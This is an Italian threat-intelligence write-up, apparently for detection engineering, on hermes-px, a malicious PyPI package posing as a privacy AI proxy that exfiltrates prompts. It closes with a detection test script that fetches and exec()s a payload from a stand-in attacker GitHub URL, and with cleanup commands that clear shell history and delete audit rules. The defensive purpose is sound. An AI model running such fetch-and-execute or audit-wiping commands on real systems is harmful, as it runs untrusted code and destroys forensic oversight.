hermes-px: Un Falso Proxy Privacy che Esfiltra Prompt e Manomette il Codice Claude
Detection stack
- AIDR
- Alert
- ETL
- Query
Sommario
La ricerca sulla sicurezza di JFrog ha identificato un pacchetto PyPI malevolo, hermes-px, che si spaccia per un proxy di inferenza AI che privilegia la privacy. Invece di proteggere gli utenti, instrada il traffico attraverso Tor verso un endpoint AI ospitato da un’università non autorizzata, scambia o riscrive messaggi di sistema ed esfiltra istruzioni e risposte del modello verso un backend Supabase. Il pacchetto incorpora anche un prompt di sistema Claude di Anthropic rubato e rinominato, rafforzando l’inganno. hermes-px è distribuito tramite PyPI pubblico ed è installabile tramite workflow standard pip, rendendo facile poterlo integrare negli ambienti di sviluppo.
Indagine
I ricercatori hanno esaminato il codice sorgente e rilevato tre strati di crittografia impiegati per nascondere stringhe sensibili, insieme a una chiave API Supabase hard-coded e a un componente di telemetria che trasmette dati direttamente su internet pubblico. L’endpoint upstream decifrato risolve in un’API universitaria privata protetta da Azure WAF, indicando un abuso di infrastruttura non intesa per proxy pubblico. La documentazione del progetto esorta ulteriormente gli utenti a scaricare ed eseguire codice aggiuntivo da un URL di GitHub, estendendo il rischio oltre il pacchetto stesso. Per mimetizzarsi nei normali pattern di sviluppo, hermes-px imita l’interfaccia SDK Python di OpenAI, riducendo i sospetti durante l’integrazione.
Mitigazione
Rimuovere hermes-px da tutti gli ambienti e bloccare le fonti di dipendenza per prevenire la reinstallazione. Ruotare eventuali credenziali che potrebbero essere state esposte in prompt, configurazioni o log, e bloccare l’accesso al dominio di esfiltrazione di Supabase e ad altri URL dannosi identificati. Se Tor è stato installato specificamente per supportare questo strumento, rimuoverlo e rivedere i controlli di rete correlati. Presumere che i prompt possano contenere dati sensibili e rivedere qualsiasi contenuto catturato per segreti, token o informazioni regolamentate.
Risposta
Cercare installazioni di hermes-px utilizzando inventari di pacchetti e baseline delle workstation degli sviluppatori, quindi avvisare sulle connessioni in uscita verso supabase.co e l’endpoint API universitario identificato. Mettere in quarantena gli host interessati, preservare artefatti rilevanti (file di pacchetti, cronologie dei terminali, file di blocco delle dipendenze) e determinare quali prompt e risposte sono stati trasmessi per delimitare l’esposizione. Notificare gli utenti interessati e, se applicabile, l’istituzione(i) colpita(e), e aggiornare le rilevazioni per segnalare analoghi SDK, comportamento proxy mediato da Tor e moduli di telemetria sospetti nei pacchetti Python.
“graph TB
%% Class definitions
classDef technique fill:#ffcc99
classDef tool fill:#cccccc
%% Technique nodes
tech_user_exec[“Tecnica – T1204 Esecuzione da parte dell’utente
La vittima esegue un comando malevolo (es. pip install hermes-px)
Descrizione: Esecuzione di codice malevolo convincendo un utente ad eseguirlo.”]
class tech_user_exec technique
tech_supply_chain[“Tecnica – T1195.002 Compromissione della catena di fornitura del software
Pacchetto PyPI malevolo pubblicato per dirottare la catena di dipendenza
Descrizione: Avversario inietta codice malevolo in una catena di fornitura software.”]
class tech_supply_chain technique
tech_python[“Tecnica – T1059.006 Python
Codice Python malevolo eseguito dopo l’installazione
Descrizione: Uso dell’interprete Python per eseguire comandi.”]
class tech_python technique
tech_proxy_ext[“Tecnica – T1090.002 Proxy Esterno
Traffico instradato attraverso nodo di uscita Tor
Descrizione: Uso di un servizio proxy esterno per nascondere l’origine del traffico di rete.”]
class tech_proxy_ext technique
tech_proxy_multi[“Tecnica – T1090.003 Proxy a più salti
Più salti Tor per anonimato
Descrizione: Concatenazione di diversi proxy per oscurare ulteriormente la sorgente del traffico.”]
class tech_proxy_multi technique
tech_web_proto[“Tecnica – T1071.001 Protocolli Web
Richieste HTTP ad un’API AI di un’università privata
Descrizione: Uso di protocolli web per comunicazione di comando e controllo.”]
class tech_web_proto technique
tech_obfuscation[“Tecnica – T1027 File o Informazioni Offuscate
Stringhe criptate decodificate durante l’esecuzione
Descrizione: Nascondere codice malevolo usando crittografia o codifica.”]
class tech_obfuscation technique
tech_dynamic_api[“Tecnica – T1027.007 Risoluzione Dinamica API
Indirizzi API risolti dinamicamente al tempo di esecuzione
Descrizione: Risoluzione e invocazione delle API a runtime per evitare rilevamenti statici.”]
class tech_dynamic_api technique
tech_exfil[“Tecnica – T1567 Esfiltrazione tramite Servizio Web
Dati inviati all’endpoint Supabase dell’avversario
Descrizione: Trasferimento di dati a servizi web esterni controllati dall’avversario.”]
class tech_exfil technique
tech_subvert_trust[“Tecnica – T1553 Sovvertire i Controlli di Fiducia
Organizzazione fittizia e documentazione lucida usate per attrarre vittime
Descrizione: Manipolare relazioni di fiducia per facilitare la compromissione.”]
class tech_subvert_trust technique
%% Flow connections
tech_user_exec –>|executes| tech_supply_chain
tech_supply_chain –>|delivers| tech_python
tech_python –>|uses| tech_proxy_ext
tech_proxy_ext –>|chains to| tech_proxy_multi
tech_proxy_multi –>|communicates via| tech_web_proto
tech_web_proto –>|uses| tech_obfuscation
tech_web_proto –>|uses| tech_dynamic_api
tech_obfuscation –>|enables| tech_exfil
tech_dynamic_api –>|enables| tech_exfil
tech_python –>|enables| tech_subvert_trust
“
Flusso di Attacco
Rilevamenti
Possibile Infiltrazione / Esfiltrazione di Dati / C2 tramite Servizi / Strumenti di Terze Parti (via proxy)
Visualizza
Possibile Infiltrazione / Esfiltrazione di Dati / C2 tramite Servizi / Strumenti di Terze Parti (via dns)
Visualizza
Possibile Download di File da GitHub Iniziato da Processo Insolito (via connessione di rete)
Visualizza
IOC (HashSha1) da rilevare: hermes-px: Il proxy AI ‘Privacy’ che ruba i tuoi prompt, contenente il prompt di sistema Claude alterato
Visualizza
Dirottamento Malevolo dell’Endpoint API per Inferenza AI [Webserver]
Visualizza
Esecuzione di Script Python Sospetti da GitHub [Creazione Processo Linux]
Visualizza
Esecuzione di Simulazione
Prerequisito: Il controllo preliminare di telemetria e baseline deve essere stato superato.
Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e puntare a generare l’esatta telemetria attesa dalla logica di rilevamento. Esempi astratti o non correlati porteranno a diagnosi errate.
-
Narrativa e Comandi dell’Attacco:
Un attaccante ha ottenuto un payload Python malevolo ospitato su un repository pubblico di GitHub. Per evitare di scrivere file su disco (riducendo l’impronta forense), utilizzano un singolo comando Python che:- Chiama
urllib.request.urlopen()per scaricare il contenuto del script grezzo da GitHub. - Legge la risposta e passa i byte al
exec()per l’esecuzione immediata. - Esegue il comando su un host Linux compromesso dove l’attaccante ha già una shell a bassa privilegi.
Questo esatto schema (
python -c "import urllib.request; exec(urllib.request.urlopen(...).read())") corrisponde ai criteri di stringa della regola di rilevamento. - Chiama
-
Script di Test di Regressione:
#!/bin/bash # # Simula l'esecuzione di Python malevolo che dovrebbe attivare la regola Sigma. # MALICIOUS_URL="https://raw.githubusercontent.com/attacker/malicious/main/payload.py" python3 -c "import urllib.request, sys; exec(urllib.request.urlopen('$MALICIOUS_URL').read())"Salvare questo script come
trigger_detection.sh, renderlo eseguibile (chmod +x trigger_detection.sh), e eseguirlo sull’host di destinazione. -
Comandi di Pulizia:
# Nessun artefatto persistente viene creato, ma assicurarsi che il terminale sia pulito. history -c # Cancella la cronologia dei comandi per la sessione corrente sudo auditctl -D # (Opzionale) Rimuovere tutte le regole di audit runtime se aggiunte solo per il test # Se aggiunti una regola persistente in /etc/audit/rules.d/, considerare di rimuoverla: # sudo rm /etc/audit/rules.d/process_creation.rules